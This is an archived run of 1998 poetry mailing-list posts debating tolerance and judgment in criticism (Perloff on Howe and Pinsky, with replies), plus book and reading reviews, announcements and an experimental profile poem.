---------- .profile ---------- Entering Profile... Type up to 15 lines. When you are finished, type a single "." on a line by itself. ---------- 1: so jennifer gaily splashed about in alan's blood 2: giving a light touch to the splayed limbs and naked brain 3: of alan's blood blahblah but now i will sing a opera 4: says jennifer, a opera a opera a opera, then sartre la-la 5: says 'if the jew did not exist, the anti-semite would invent 6: him,' la-la, gaily splashing in alan's blood, jennifer replies 7: that she is an invention of the jew, alan, la-la la-la, and 8: she sings, jennifer sings, a gay a opera a opera a opera, 9: and alan and jennifer get all wet over that mean old sartre 10: la-la and there are many brains about blah-blah, so jennifer, 11: now jennifer, gets him up, and the two of them "looking for 12: all the world like creatures from outer space" press closer, 13: still closer, and jennifer says but now I will sing a opera, 14: a gay a opera a opera a opera, and alan and jennifer are all 15: clean and red and white with perfect pale blue eyes ---------- .User profile information stored. ----------

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626. **Marjorie Perloff**
Re: Susan Howe/Robert Pinsky thread
Fri 20 Nov 1998

Coincidentally, Robert von Hallberg and I have been working on a Dialogue on Poetic Value for a book of dialogues on various controversial topics (none of the others about poetry) edited by Donald Hall, who teaches at CalState
~~~~~~~~~~

Northridge. Our two sample poets turned out to be Howe and Pinsky and although I had no strong feelings when we started out, I found, on actual analysis, that the Pinsky poem in question "The History of my Heart" was just plain BAD--irritating, smug, etc. Bob, as you'll see when the book comes out, disagrees and makes a good case FOR. And he is less enthusiastic about Howe than I am.

No easy answers but doing this this dialogue convinced me yet again that the only way to discuss these issues is to actually ANALYZE the work. So when Andrew Rathmann and others write in that we should read both Howe and Pinsky and be tolerant, I want to ask WHY? Since when has poetics been a question of tolerance? Was Pound tolerant? Was Stein? Blake? Samuel Johnson? Wordsworth? Walter Pater? Virginia Woolf? Cage? Baraka? Just remember Frank O'Hara's delightful dismissal of Robert Lowell! I want to suggest that, on the contrary, it's time to start being a bit intolerant and make the case for the poetry we believe in. I think that a decade of nominal multiculturalism has created an unfortunate situation where the main critical virtue seems to be TOLERANCE. But neither poetry nor criticism ever came out of tolerance; they are born out of opposition (to earlier poetries, rival poetries, political systems, forms of oppression), resistance, and --hard as it is to use the word at the moment-- discrimination.

So--to come back to Pinsky--the only way to compare Howe to Pinsky is to take passages of poetry (better yet, whole books) and study them side by side. As Peter Quartermain reminded readers of this List a while ago, perhaps it's time for a little (pardon the term) Close Reading!

Marjorie Perloff

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627. **Henry Gould**
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

On Fri, 20 Nov 1998 11:58:25 -0700 charles alexander said:
>
>Agreed that it does. But where does one go from there. I mean, ideally, it
>would be great to see a criticism that included language poetry, visual
>poetry, sound poetry, folk poetry, Robert Pinsky poetry, Brenda Hillman
>poetry, etc. as equal participants in the field. But I don't know anyone
>that is doing this kind of overall field work, and if they were, could they
>possibly be as attentive as needed to the specifics of even any one subset
>of the field. Plus, how could I possibly demand such a broad-based

>criticism of anyone, when I know full well myself that there's plenty
>within the field that I don't want to pay attention to?

I tried to address this issue somewhat in a Witz essay, "Sense of Being Right". The idea was that "poetry wars" based on pure style differentiations might be strategically useful for poets but are unethical for poetics, and that a teleology of poetry - no matter how odd or self-reflexive (that's how I tried to play it out in the essay) opens the way for a poetics of inclusion & multiplicity. The problem, as I tried to point out in the indie-crit war of many moons ago, is critical-academic-poet cliques & monopolies that skew independent criticism. Nevertheless I do NOT want to start another "war" on this issue - and think that this list for example & other activities in this area are examples of a gradually broadening idea of "poetry" which is happening now. - Henry Gould

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628. Judy Smith McDonough
electronic poetry journal announcement
Fri 20 Nov 1998

---

poetrynow, an electronic poetry journal
http://www.poetrynow.org

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629. Katie Degentesh
Re: Susan Howe thread/Pinsky
Fri 20 Nov 1998

---

yeah, can I submit "spintered" as a neologism?

miekal and wrote:
>
> Katie Degentesh wrote:
>
> Poetry
> > readings in this day and age are as spintered and specific as musical
> > concerts
>
> typos are very telling
>
> --
> -The Internalational Dictionary of Neologisms-
> [glossary of neologisms collected around the network since 1985, submit
> yours....]
> http://www.net22.com/neologisms/

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630. **Dale Smith**

The River

Fri 20 Nov 1998

Kevin Killian recently mentioned a new book by poet Lewis MacAdams entitled, The River. In addition to writing several fine books of poems--City Money, The Poetry Room, A Bolinas Report, News From Niman Farm--MacAdams published Mother magazine with Peter Schjeldahl (in which appeared the famous John Cage interview with Ted Berrigan) and Fathar, a journal edited with Duncan McNaughton. In recent years he has lived in LA where he is an active political force in the struggle over that city's water resources.

The River investigates the poet's vulnerable position as he stands up to a powerful majority of city planners, engineers and newspaper publishers. He notes with the journalistic eye of Ed Sanders the human process of environmental activism on an indifferent city. To defend his sometimes impolite and abrupt attacks on the polite defenders of waste and greedy, capitalist structures, he reminds the reader of Blake's epigram: "The tigers of wrath more powerful / than the horses of instruction."

The Press attempts to discredit MacAdams with the typical methods of a smear campaign: "With friends like Lewis MacAdams / the Los Angeles River doesn't need any enemies." But with a paradoxical understanding of political nature, MacAdams turns again to Blake who reminds us that "Your friends on earth / are your enemies in heaven."

Although MacAdams objects to "the 1000's of storm drains / that carried our garbage / down the river to the sea," he struggles with being carried away "in a cloud of / fiery, self-righteous Anger."

"A styrofoam cup spins

in a dust devil at my feet.

I am as fanatical as a mullah, and twice as obsessed."

The lovely, the truly human and courageous strength of this small book is his struggle to preserve, clean, and care for the LA River while fighting against the self-righteousness that threatens to overwhelm him from within. And of course, the constant threat of corporate interests and politicians hover like vultures, waiting for him to weaken:

You are hated--you can feel it
in the TV eye--by idiots and assholes,
slump-shouldered time servers and County weasels;

and their hatred is a cool, stiff breeze.
You struggle with self-righteousness
and you lose. Like your enemies,
you have your hate to keep you warm;
so your wife buys you a little laughing
Buddha down in Chinatown
to pop on your computer.
You are bent over the pressure
of simply being a moron. You are shrinking
from the weight of your own gravity.
You are becoming your old man
as the chain-saws in the background noise
start to fan out. First they will school you in your errors.
Then they will squash you like a bug.

MacAdams' determination in the face of rotten odds and his strength to face himself head on in the poem make this a fascinating book. Contact Blue Press: 436A 14th Street

---

Get Your Private, Free Email at http://www.hotmail.com

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631. A. Jenn Sondheim
debris (fwd)
Fri 20 Nov 1998

Here is Steve Duffy's URLs - Alan

[redacted]

http://www.btinternet.com/~debris
http://www.debris.demon.co.uk/

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632. Eliza McGrand
schools vs war vs snoring cat
Sat 21 Nov 1998

referring briefly to mcgrand's wellk-nown (and oft expounded) theory of too much to read for a moment sets the stage. Consider "wars," with the notion of one poetic and type of poetry as somehow "better" than others, more important,

to be supported more, to exist at expense of others, seems to me to buy awfully into binary opposition universe and to be kind of pointless.

on the other hand, "schools" of poetry, or styles, or specific directions, can have enormous power. springing to my mind immediately are WWI war poets. a sudden break from poetry romanticizing war/going along with the program. comes/leads into (a sort of chicken egg circle) critical evaluation of war. enfolding from more naturalistic line of thinking but containing within an odd movement toward a more formal verse line as well as acceptance of free form.

where does this "school" thing go right? -- whre it gives writers a new direction, gives soldiers and readers an understanding of new dimension of war and writing and relation of poetry and art to reality, social responsibility. where a writer finds her/himself writing in new way with broader body of base material because of what writer reads and learns from this new burst of writing/style/direction.

where does it go wrong? -- when business turns into silly heirarchical exercise, i.e. "who is the Grand Old Man of WWI poetry," where it is used to sort out a hierarchy, i.e. "so-and-such is Of Course the Best Young Writer/ Best Writer/ Greatest Thinker of his generation." where participants and readers forget point, which is that of exploring and writing wider and better, and get caught up in defining A School, and who gets to get into that school, and why, and who is important in that school and who isn't. in short, turning it all into a boring competitive high-schoolish circus.

the story plays out with each surge of new direction in writing. i'm reminded of it as i see listafarians debate the place of ron silliman and who is REALLY a language poet and who REALLY writes Language Poetry, when i read a silly dismissive essay in NYT on a writer based solely on conception of what writers are Supposed To Be Doing At This Point in Time versus what this irrelevant wastrel being critiqued is doing.

in theoretical terms, when i see yet another cookie cutter deconstructionist exposition that, rather than saying something new or original, reads like a Good Little Brown Noser recitation of the buzzwords de jour. yes, how many times can i say "slippery text" and "aporia" and "lacan" in one sentence... it reminds me of 1987 conference on AIDS when all the doctors and speakers went into an ecstatic frenzy over the confluence of the head of A.M.A. (or vice head or something) and their own ability to say the words "appropriate" and "inappropriate." that shiver of pleasure, confidence, of having scored, each time they were able to drop "appropriate/inappropriate" into conversation, multiplied if important functionary were within hearing range...

but artists are a slippery, sly, creative, anarchic bunch. and no sooner do we form one school, then masses of us trickle off and form another, then another.

and some wild country bunch hangs out in margin and does something mostly unrelated to rest and wildly original. which some people catch on to, and start using to shift their own work in another direction. and then one of them mutates and does something else personally idiosyncratic. and others hang about nervously in bathrooms together, or in doorways or parking lots, and mimick each other and start speaking gang-slang and playing with it.

resist classification! down with the hierarchy! arise writers, you have only your chains to lose! ... a collection plate will be sent round at the end. please give as generously as you can; remember, artists are starving for YOUR freedom while you drive your volvo!

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633. **Leonard Brink**
Re: Susan Howe/Robert Pinsky thread
Sat 21 Nov 1998

Marjorie Perloff sez:
>Just remember Frank O'Hara's delightful dismissal of
>Robert Lowell! I want to suggest that, on the contrary, it's time to
>start being a bit intolerant and make the case for the poetry we believe
>in.
Amen. The "critical virtue [of] tolerance"(MP) suggests that "X" and "not X" are identical. A tolerance which is truly distinct from intolerance allows "not X" to be "Y."

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634. **Rachel Levitsky**
Re: Readings in Boulder
Sat 21 Nov 1998

Hi Pat,

Just wanted to say that I've heard great things about left hand and Emailed with Bobbie West who said she had a great experience and Laura seemed to really like her work.

I'm having adjustment troubles and as usual, girl troubles. Girls being by definition, trouble. It's hard to be a dyke, you get whipped from the outside and the inside. At least my parents are finally supportive.

anyway much love,
Rachel

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635. Rachel Levitsky
not meant for you all
Sat 21 Nov 1998

ARRRRRGGGGGGH.

Ignore my personal business again.

Since I can't seem to manage separately life from this list I'm going off, like poor Joe Sadfie. I'm also changing my email to

[redacted]

as of next week

it's been great, I'll miss you, please write and forget everything personal you've ever learned about me.

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636. Mark Weiss
Re: Susan Howe/Robert Pinsky thread
Sat 21 Nov 1998

Bravo!

At 10:20 PM 11/20/98 +0100, you wrote:
>Coincidentally, Robert von Hallberg and I have been working on a
>Dialogue on Poetic Value for a book of dialogues on various
>controversial topics (none of the others about poetry) edited by Donald
>Hall, who teaches at CalState Northridge. Our two sample poets turned
>out to be Howe and Pinsky and although I had no strong feelings when we
>started out, I found, on actual analysis, that the Pinsky poem in
>question "The History of my Heart" was just plain BAD--irritating, smug,
>etc. Bob, as you'll see when the book comes out, disagrees and makes a
>good case FOR. And he is less enthusiastic about Howe than I am.
>
>No easy answers but doing this this dialogue convinced me yet again that
>the only way to discuss these issues is to actually ANALYZE the work.
>So when Andrew Rathmann and others write in that we should read both
>Howe and Pinsky and be tolerant, I want to ask WHY? Since when has
>poetics been a question of tolerance? Was Pound tolerant? Was Stein?
>Blake? Samuel Johnson? Wordsworth? Walter Pater? Virginia Woolf?
>Cage? Baraka? Just remember Frank O'Hara's delightful dismissal of
>Robert Lowell! I want to suggest that, on the contrary, it's time to
>start being a bit intolerant and make the case for the poetry we believe
>in. I think that a decade of nominal multiculturalism has created an

>unfortunate situation where the main critical virtue seems to be
>TOLERANCE. But neither poetry nor criticism ever came out of tolerance;
>they are born out of opposition (to earlier poetries, rival poetries,
>political systems, forms of oppression), resistance, and --hard as it is
>to use the word at the moment-- discrimination.
>
>So--to come back to Pinsky--the only way to compare Howe to Pinsky is to
>take passages of poetry (better yet, whole books) and study them side by
>side. As Peter Quartermain reminded readers of this List a while ago,
>perhaps it's time for a little (pardon the term) Close Reading!
>
>Marjorie Perloff
>
>

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637. **Peter Ganick**
Re: changing consciousness
Sat 21 Nov 1998

---

i guess what i meant, in reply to jacques debrot, by 'changing consciousness' and by 'consciousness' in general, is the entire realm of human experience being changed in some internal sense...the positing of inner/outer experiences when applied to people can be problematic, but for a writer/reader the text becomes primary, and as such, a text can cause this 'change in consciousness' -- an inner sense...

what i mean by 'inner' is anything that is personal, emotional, psychological, cosmic, spiritual...these terms do apply to issues that matter to writers/readers and for me have always had pre- cedence over the so-called 'real' world...

eastern traditions (asian not east coast usa) usually involve a clearer understanding of these matters than western traditions ...the buddhist and hindu traditions are in mind here...

how this applies to poetry specifically, is that, through deep immersion in one's reading/writing experience, one can attain a change in one's inner being...this seems simple to me, but i could be wrong...

and, like bob g., i'd like to see those better schooled in grammar dissect some more innovative texts to their students, rather than just use the traditional forms...maybe we all need a good dose of chomsky...

peter ganick
potes & poets press / a.bacus

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638. **miekal and**
outtake from preparing _whether hotel_ for PERFORATIONS
Sat 21 Nov 1998

---

m i s p e l l e d

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639. **Robert Archambeau**
Re: Susan Howe/Robert Pinsky thread
Sat 21 Nov 1998

Marjorie Perloff wrote:

> *So--to come back to Pinsky--the only way to compare Howe to Pinsky is to take passages of poetry (better yet, whole books) and study them side by side. As Peter Quartermain reminded readers of this List a while ago, perhaps it's time for a little (pardon the term) Close Reading!*

Oyez, oyez. When Nathan Wallace reviewed Rosmarie Waldrop and Reginald Gibbons side by side I actually felt that there was hope for LitCrit.

Bob Archambeau

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640. **Randy Prunty**
Re: changing consciousness
Sat 21 Nov 1998

In a message dated 11/21/98 9:45:08 AM Eastern Standard Time, [redacted] writes:

<< i guess what i meant, in reply to jacques debrot, by 'changing consciousness' and by 'consciousness' in general, is the entire realm of human experience being changed in some internal sense...the positing of inner/outer experiences when applied to people can be problematic, but for a writer/reader the text becomes primary, and as such, a text can cause this 'change in consciousness' -- an inner sense...

what i mean by 'inner' is anything that is personal, emotional, psychological, cosmic, spiritual...these terms do apply to issues that matter to writers/readers and for me have always had pre- cedence over the so-called 'real' world...

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peter ganick
potes & poets press / a.bacus >>

Ray DiPalma says "It's creating the FOCUS THAT GENERATES that concerns me". This is the most interesting part of changed consciousness to me. I'm guessing we have all had times of "being in the zone" when we write. Not really stream of consciousness, but an easy flow of ideas. and one creative step can lead to the next. and of course this is really fun in collaborative work. to me its like meditation. a detached, but yet somehow focused, attentiveness. so there's a change in consciousness WHILE writing and then, I like to think, that experience has some effect on my ...consciousness? attentiveness? ... AFTER writing. Which I guess is the political.

Randy

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641. **Joe Amato/Kass Fleisher**
Re: Susan Howe/Robert Pinsky thread
Sat 21 Nov 1998

---

odd---kass and i just had a long-ish discussion the other day about precisely the issue marjorie is raising...

yes, the need for judgment (and critique of same)---informed by what's been happening theoretically and in cultural studies lo these last twenty years---seems to me of great importance at the moment... in fact one of the things i find most... refreshing about reading the litcritics of a half-century ago is the ease with which they just say what they think about a given work...

now we all know how problematic some of those judgment calls were, from the pov of our 'enlightened' era... the challenge is for us to use our smarts---all of our insight into, e.g., ideological machinery---and find ways to distinguish among works that aim simply to entertain (which may be fine in itself), and works whose reach exceeds their grasp (if you get my drift)...

in fact there are already signs that a general awareness of this necessity is beginning to sink in at the academic level... witness, e.g., tania modleski's piece a week ago in _the chronicle of higher ed_ where she discusses (finally, and imho long overdue) problems with romance fiction [gasp!]... recall that modleski was among those (radway, others) who championed an analysis of such fiction as giving voice to women's issues (which they do, in fact---but they do other, less desirable things as well)...

i've nothing against popular culture mself (quite the contrary---i was weaned on it)---but there are all grades of pop culture, as there are all grades of not-so-popular culture... the point isn't to deploy "taste," or high/low distinctions---but, as marjorie suggests, to get into the work in question, even as you get into its social/cultural/historical/biographical contexts... this isn't to imply anything exhaustive (or even formally intrinsic, meaning-wise), but this is certainly to imply something other than a thumbs up/thumbs down binary (even ebert and siskel of late have had to resort to modifiers---"two thumbs up, way up," or "two enthusiastic thumbs up," or...---and btw, it's clear that the public just eats up this sort of thing)... i assume, btw, that we may well find ourselves ultimately at odds over what we value, and why---but it sure would be nice if everyone were equipped, and willing, to discuss this latter through a more direct understanding of the words on the page (or the images on the screen, ETC.)...

and hey, i hope this isn't preaching to the choir, OR in any sense reactionary, but: if critics of whatever cast can't or won't distinguish between that which is relatively lame vs. that which is not (aesthetically as much as ideologically)---if they're not willing to find a way to say, publicly and care-fully and w/o vitriole, what they think of what they select (for review, analysis, whatever), which incl. even *why* they've selected it---why then i believe the marketplace will continue to mass produce facile versions of "taste" (and notions of taste), that it will become harder and harder for challenging work (of whatever genre---i'm not wedded to older notions of literacy) to reach a supportive audience (let alone create an audience, as it were)... hence one of the functions of criticism will continue to be held in abeyance...

and i guess that's a judgment call, too... but when you look, e.g., at the recent merger of barnes & noble with the nation's largest distributor of books, ingram, you've just got to believe that we're going to need (academic, among other) critics who are willing to pass (again, careful, thorough, anything but knee-jerk) judgment in order to help stem the tide of sheer bullshit surrounding so much of the work that'll no doubt be pitched at maximum intensities (and, i must add, at great cost to the environment)...

best,

joe

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642. **Keith Tuma**
Re: Susan Howe/Robert Pinsky thread
Sat 21 Nov 1998

As though explaining the idea of dancing
    Hook intelligence quick dactyl
Or the idea of some other thing
    Bats glance through a wood
Which everyone has known a little about
    bond between mad and made
Since they were children, which children learn themselves
    anonymous communities bond and free
With no explaining, but which children like
    Perception crumbles under character
Sometimes to hear the explanations of
    Present past of immanent future
I want to tell you something about our country
    Recollection moves across meaning
Or my idea of it: explaining it
    Men shut their doors against setting
If not to you, to my idea of you
    Flocks roost before dark
That softness--feathery, protective, inward--
    Coveys nestle and settle
Muffling the quickness of the raptor's eye
    Meditation of a world's vast Memory
The gaze of liberty and independence
    Predominance pitched across history
Uneasy in groups and making groups uneasy
    Collision or collusion with history

* Close Typing
RP EXPLANATION (w/ ...)/ SH ARTICULATION
APOLOGIES TO BOTH

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643. **Dale Smith**
The River Redux
Sat 21 Nov 1998

The final line of my post on Lewis MacAdams' book, The River, got chopped. Anyone interested in the book should send $6 to:

Blue Press

436A 14th Street

SF, CA 94103

Get Your Private, Free Email at http://www.hotmail.com

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644. **Mark Weiss**
Re: changing consciousness
Sat 21 Nov 1998

Reading and writing are by no means privileged. Change is a byproduct of intense focus on almost anything. Note "byproduct." It's nice for him if my carpenter has achieved enlightenment, but he'd better be sure that my house stays up. And that's eastern (coast) tradition.

At 06:17 AM 11/21/98 -0500, you wrote:
>i guess what i meant, in reply to jacques debrot, by 'changing
>consciousness' and by 'consciousness' in general, is the entire
>realm of human experience being changed in some internal
>sense...the positing of inner/outer experiences when applied
>to people can be problematic, but for a writer/reader the text
>becomes primary, and as such, a text can cause this 'change in
>consciousness' -- an inner sense...
>
>what i mean by 'inner' is anything that is personal, emotional,
>psychological, cosmic, spiritual...these terms do apply to issues
>that matter to writers/readers and for me have always had pre-
>cedence over the so-called 'real' world...
>
>eastern traditions (asian not east coast usa) usually involve a
>clearer understanding of these matters than western traditions
>...the buddhist and hindu traditions are in mind here...
>
>how this applies to poetry specifically, is that, through deep
>immersion in one's reading/writing experience, one can attain

>a change in one's inner being...this seems simple to me, but i
>could be wrong...
>
>and, like bob g., i'd like to see those better schooled in grammar
>dissect some more innovative texts to their students, rather than
>just use the traditional forms...maybe we all need a good dose of
>chomsky...
>
>peter ganick
>potes & poets press / a.bacus
>
>

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645. Robert Archambeau
Re: tolerance
Sat 21 Nov 1998

(Dr. Pedantic rises to the podium, coughing in the swirls of chalk dust as he writes on the board):

Cecelia Bartoli and Bjork
Glenn Gould and Thelonious Monk
Edward Hopper and Jackson Pollack
Seamus Heaney and Lyn Hejinian

Okay, well, what's all that about?

In the same art form, there are different idioms, and to be intolerant of real acheivements because of the idiom is narrow and absurd.

Which is not to say that it is a good idea to make no discriminations.

I mean, there are lousy singers in opera and alternative pop, lousy pianists in classical and jazz music, lousy representational painters, lousy abstract painters, lousy traditional poets, lousy avant poets, along with the really interesting people in all categories.

As for discriminations. Yes. For the content of the work's character, not for the color of its genre.

(Exit, pursued by an indifferent mob).

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646. **WENDY KRAMER**

debbie

Sat 21 Nov 1998

in response to the call for more reviews...

It's difficult to write a positive review when you've been rendered breathless by the reading. Wednesday night's reading at the Poetry Project, with Kristin Prevallet and Lisa Robertson, left me mouthing for words to describe what it was like. At the end of the week, my condition's the same. I emitted an "oh god" after Robertson finished her section "For Girls, Grapes and Snow" ending with the line: "Good evening Modernism." from Debbie: An epic and since then, what's left to say has been embarrassing. I jumped up to buy the book before the crowd could beat me, and sure enough, i heard later from other audience members that they fought each other for the last copy.

It's not that at some point I wasn't warned. I vaguely remember being in buffalo a few years ago and receiving some sort of calling card with the word "debbie" on it. (was lisa robertson in town? i think the card was for a party). I remember a meow chapbook. but... either i hadnt read the chapbook or i was thick. I went to the reading because Kristin Prevallet was reading and she's my friend so I made a point not to be thick and to remember to GO to the reading.

And Kristin Prevallet was marvelous. She read from Perturbation, My Sister; from Lead, Glass, and Poppies, as well as from unpublished work (someone will have to fill in what that work was called because, although that was the most intriguing to me I don't remember titles). By the end of her reading (she read first), I had pulled up to the edge of my chair. What was it about that last piece she read that brought me to the edge of my chair? (Again, I can't remember well, except that it seemed like what had been happening in Perturbation and Lead, Glass, and Poppies had somehow busted into something . .. I dunno, more literal??) Again, I'm writing a gut reaction. Oh i remember part of it: she began to read from a scrapbook of collages that she prefaced by saying they were working collages, that is, not for display but a way to organize her information. And me being excited by garbage in collage, this was a most intriguing part.

So, as i said, it's difficult to write when verbally stuttering. I muttered and babbled at work the next few days, in the break room, in the elevator, at my desk: she wrote a goddamned epic! it's called debbie: an epic (funny looks all around. a question from a co-worker: why is there a mean-looking dog on the cover? i dunno i said and then later read again "Battle Cry" : "I saw a dog kill two birds in a park/ o little world approximate, all soft/ things roar: each cruddy beast, each bloated hour") . "My name is Debbie" i quoted to no one in particular at my desk and laughed. just busted up.

And did i say (no) that Lisa Robertson delivered her epic impeccably? She did.

I'm grateful for such a pome and such a poet.

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647. **Ruth Danon**

Re: tolerance

Sat 21 Nov 1998

I am new to this list and interested in this thread. A few years back we poets at NYU's School of Continuing and Professional Studies had a conference called "A New Circle" The explicit presmise of the conference was to bring poets of different stripes together to read and to talk about their work. Among the poets (listed in no particular order) were Rod Smith, Pierre Joris, Michael Heller, Hugh Seidman, Paul Violi, Erica Hunt, Andrew Levy, Rob Fitterman, Ben Friedlander, Maureen Seaton, Hermine Meinhard, me, etc. It seemed clear to me that there was a real difference between those who were willing to examine poetics -- granting a place for reflection about what we do and why -- and those who were not. That difference seemed more important than the particular "tribe" a poet belonged to. But of course certain "tribes" are willing to examine their own premises and certain are not.

Last week we had Harry Mathews reading from Oulipo Compendium with me and Andrew Levy. What struck me is Harry's reiterated point that The Oulipo is more a laboratory than a school or a movement. I like that clarification. Seems to me that many experiments are ways of getting at some process, some ontology, some understanding of what "playing" with language may open up. These experiments do not necessarily result in artworks. Sometimes their reason for being is simply to learn something about language.

This seems crucial when thinking about Marjorie Perloff's excellent points. The texts we would choose to examine and compare might ought to be objects that exist on a similar plane of premises. (forgive the awkwardness there) What are we challenging when we challenge something -- premises or poems? I've heard a poem or two by pinsky that I think are pretty fine -- but the premises that govern his notion of poetry present real problems for me.

I also think of a reading I heard Stanly Kunitz give just two months back. Now what he read wasn't langpo and not what I want to write, which isn't langpo either, but damn, the integrity in the work and the man -- what is it the man said about the hair at the back of the head standing up?

Curious to hear what others might say.

> From: Hugh Steinberg <[redacted]>
> To: [redacted]
> Subject: tolerance
> Date: Sunday, November 22, 1998 12:29 PM
>
> Tony Kushner has a pretty decent essay on tolerance. He writes, "Tolerance
> can be used to normalize an insupportable situation, or it can serve to
> warn those groups which lack real power that they exist on sufferance, that
> they are tolerated."
>
> To what extent then is our work tolerated? Exactly as much as it takes
> part in a power structure that is hostile to what and how we write. You
> want to get an award from the Academy of American Poets, you better hope
> you're tolerable.
>
> If one is feeling pessimistic, it is easy to perceive the world of poetry
> as one that consists of polarized and hostile camps, endlessly bickering
> with one another (or operating in a sort of snooty ignorance of everything
> else outside of their tiny and shrinking circles). What thin glazing of
> tolerance we tolerate mostly produces tokenism and toadyism, a superficial
> engagement that does little for the art.
>
> What choices do we have? We can create our own institutions, magazines,
> presses, communities, and circle the wagons. Or we can work to undo that
> hostility.
>
> I agree with Marjorie that reading work by people outside one's clique is
> important, not just to pat yourself on the head and feel good about the
> utter brilliance of your work, but with a willingness to maybe learn
> something, and to start a dialogue. It means looking for intersections,
> commonalities between our writing and those of others. It is often
> surprising to discover how many of them there are.
>
> I also think its important that the big institutions, the funders, the
> magazines that purport to show what's best in poetry, resist aesthetic (and
> all other forms of) apartheid in their choice of poets and poetry.

>
> It also means insisting upon a place at the table. I hate having to use
> euphemisms for the type of poetry we present at Small Press Traffic when
> I'm working on a grant. But I also understand how important it is to
> communicate what we do to people who have no idea what we do, and to
> communicate why what we do (the writers we present) are important.
>
> Hugh Steinberg
>
> Marjorie Perloff writes:
>
> >No easy answers but doing this this dialogue convinced me yet again that
> >the only way to discuss these issues is to actually ANALYZE the work.
> >So when Andrew Rathmann and others write in that we should read both
> >Howe and Pinsky and be tolerant, I want to ask WHY? Since when has
> >poetics been a question of tolerance? Was Pound tolerant? Was Stein?
> >Blake? Samuel Johnson? Wordsworth? Walter Pater? Virginia Woolf?
> >Cage? Baraka? Just remember Frank O'Hara's delightful dismissal of
> >Robert Lowell! I want to suggest that, on the contrary, it's time to
> >start being a bit intolerant and make the case for the poetry we believe
> >in. I think that a decade of nominal multiculturalism has created an
> >unfortunate situation where the main critical virtue seems to be
> >TOLERANCE. But neither poetry nor criticism ever came out of tolerance;
> >they are born out of opposition (to earlier poetries, rival poetries,
> >political systems, forms of oppression), resistance, and --hard as it is
> >to use the word at the moment-- discrimination.
> >
> >So--to come back to Pinsky--the only way to compare Howe to Pinsky is to
> >take passages of poetry (better yet, whole books) and study them side by
> >side. As Peter Quartermain reminded readers of this List a while ago,
> >perhaps it's time for a little (pardon the term) Close Reading!
> >
> >Marjorie Perloff

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648. **Gabriel Gudding**

Marjorie Perloff is Wrong

Sat 21 Nov 1998

MP wrote:
> >But neither poetry nor criticism ever came out of tolerance;
> >they are born out of opposition (to earlier poetries, rival poetries,

> >political systems, forms of oppression), resistance, and --hard as it is
> >to use the word at the moment-- discrimination.

1). Actually, this isn't true. Even a slight familiarity with American literary criticism during the first half of the 19C will show that without a turn toward a more tolerant kind of criticism, the burgeoning of letters known as the American Renaissance would certainly not have happened.

2). In his _The Origins of American Critical Thought, 1810-1835_ (1936), William Charvat declared the literature of American romanticism differed markedly from that of the British Romantics, attributing the difference to the influence of a radically judicial strain of, as he called it, "Scotch-based" American criticism during that quarter decade. He insisted that "though much of the evidence may suggest that American romanticism was a later development of English romanticism, [this is in fact] [o]f course not true, for our romantics have no real prototypes in English literature of the preceding period. But the contrast throws light on an important fact. Much of the best criticism of our period concerned the English romantics. It was judicial, not appreciative criticism. The result was that the elements of English romanticism not acceptable to the American temperament were winnowed out."

3). Now, sixty years after Charvat's book, in a concise extension of his research, M. D. Walhout has taken note of a "hermeneutical turn" in American criticism between the years 1830 and 1860. Walhout, in paying particular attention to the reviewers George Allen and Edwin Percy Whipple, traces the advent of a critical milieu which attempted to "interpret" rather than judge authors. Here then is a sea-change in the nature of criticism used by American reviewers during the crucial first years of a new era in American literature. You can grock the Walhout in the Oct 96 issue of the _Journal of the History of Ideas_.

4). Without this sea-change toward a more "tolerant," or at least a less judicial, mode of criticism in the American critical milieu, we wouldn't have (the early) _The Dial_, Whitman, half of Emerson, Dickinson, Jones Very, tons of Fuller, and yada yada yada. There wasn't much poundian gaudium certaminis felt by many of these folks.

5). We'll always want to valorize our authors. And poets have been especially vulnerable to this tendency of critics to valorize their meaningless little skirmishes. This critical yawp against "Tolerance" is nothing more than a romantic tic. Seeing all these folks as iconoclasts, dissidents, and aesthetic saboteurs is very tempting and satisfies some kind of melodramatic need we have: it gives us our little heroes, which some of us desperately need.

6). But it just ain't so: tolerance has birthed more great poetry than intolerance. I don't read the very intolerant Little REview because of its great poetry: I read it because its contrariness is so foolish it's hilarious. History has shown Pound

a fool and a crank: he should have spent less time being an intolerant bore and more time writing better poetry.

Guantanamo Gudding

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649. **jen hofer**
kent shaw
Sat 21 Nov 1998

---

i've lost your e-mail address & wanted to send you the cole swensen biblio.

backchannel if you still want it, & if not, thanks for your kind help.

jen.

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650. **Mark W Scroggins**
Re: Marjorie Perloff is Wrong
Sat 21 Nov 1998

Two questions to Gabriel Gudding:

1) can you demonstrate _any_ connection whatsoever between the "more tolerant milieu" in American criticism in the early part of the nineteenth century and the achievement in poetry of Emily Dickinson? asserting such doesn't make it so--even if someone named Walhout has already asserted it.

2) can you clarify--with examples--what you mean by tolerance giving rise to great poetry? sure doesn't seem to work for Blake, Milton, Moore, Pope, Dickinson (for that matter), etc.

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651. **Gabriel Gudding**
Re: Marjorie Perloff is DEAD Wrong
Sat 21 Nov 1998

On Sat, 21 Nov 1998, Gabriel Gudding wrote:

> *4). Without this sea-change toward a more "tolerant," or at least a less judicial, mode of criticism in the American critical milieu, we wouldn't have (the early) _The Dial_, Whitman, half of Emerson, Dickinson, Jones Very, tons of Fuller, and yada yada yada. There wasn't much poundian gaudium certaminis felt by many of these folks.*
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> *meaningless little skirmishes. This critical yawp against "Tolerance" is nothing more than a romantic tic. Seeing all these folks as iconoclasts, dissidents, and aesthetic saboteurs is very tempting and satisfies some kind of melodramatic need we have: it gives us our little heroes, which some of us desperately need.*
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> *6). But it just ain't so: tolerance has birthed more great poetry than intolerance. I don't read the very intolerant Little REview because of its great poetry: I read it because its contrariness is so foolish it's hilarious. History has shown Pound a fool and a crank: he should have spent less time being an intolerant bore and more time writing better poetry.*

7). Just to further elucidate an already brilliant point, I will say that no renaissance owes its advent to intolerance: both the Elizabethan and the American 19C renaissances were born of an extreme openness.

-- Gaga Gudding

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652. **R.Gancie/C.Parcelli**
Re: Marjorie Perloff is Wrong
Sat 21 Nov 1998

